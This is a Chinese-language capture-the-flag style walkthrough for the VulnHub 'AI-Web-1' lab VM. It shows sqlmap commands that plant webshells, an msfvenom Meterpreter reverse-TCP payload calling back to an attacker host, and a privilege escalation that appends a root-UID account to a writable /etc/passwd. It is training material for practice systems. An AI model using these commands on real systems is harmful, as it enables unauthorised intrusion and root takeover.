搬砖日常ing…
靶机地址:https://www.vulnhub.com/entry/ai-web-1,353/
0x01 sqlmap之–os-shell
1、条件
1)需要网站绝对路径(phpinfo或网站报错信息获取)。
2)该路径目录允许写入
2、os-shell
1)一般上传目录都是允许写入的,靶机这里刚好有个upload目录,可成功执行–os-shell。
2)sqlmap --os-shell成功执行后会在当前目录下生成一个上传文件的木马。
3、拿shell方法
方法一
1)直接echo命令写shell。注意:写入失败的话就多写几次。
os-shell> echo "<?php phpinfo();?>" > 1.php
(此处写一句话失败,POST会被吃掉。)
方法二
1)sqlmap --file-dest直接将本地shell写入到目标可写目录。
sqlmap --risk 3 --random-agent -r 1.txt --file-write ./yijuhua.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/upload13/se3reTdir777/uploads/shell.php
0x02 获取一个MSF shell
1)MSF生成PHP shell。
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=1234 R > msf.php
需要删除掉phpshell前面的"/*"。
2)这里需要把生成的msf shell上传到网站,有多种方式,如使用蚁剑等工具上传,sqlmap文件上传页面,sqlmap --file-dest等。
这里直接用sqlmap文件上传马上传。
3)msf开启监听。
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.3.86
set lport 1234
run
4)访问http://192.168.3.107/se3reTdir777/uploads/msf.php,msf成功上线。
5)获取一个交互式shell。
shell
python -c 'import pty;pty.spawn("/bin/bash")'
0x03 提权
1)全局搜索可写文件、文件夹。
find / -writable -type d 2>/dev/null #文件夹
find / -writable -type f 2>/dev/null #文件
www-date用户对/etc/passwd文件可写。
2)添加一个用户到passwd文件中。
perl -le 'print crypt("Ai:Web:1.0","salt")'
echo "ins1ght:saPxWonD/gnR6:0:0:hacker:/root:/bin/bash" >> /etc/passwd
3)使用 su ins1ght 切换账户, 密码是 Ai:Web:1.0
0x04 总结
1)如果当前低权限用户可写/etc/passwd,可以尝试添加用户进行提权,此提权方式需要一个好用的shell,如msf弹回并处理过的shell(需要su等操作)。
2)sqlmap --os-shell条件:绝对可写路径。(如upload目录等,phpinfo或报错页面获取绝对路径。)
3)sqlmap --file-dest可直接将本地木马写入到目标网站。(需绝对可写路径)
4)sqlmap --os-shell后,会在 uploads 目录下生成两个 php 文件, 一个 php 文件(the file stager)的作用的是提供上传文件的功能,另一个就是 webshell 文件(the backdoor)。
0x05 参考
https://me.csdn.net/weixin_44214107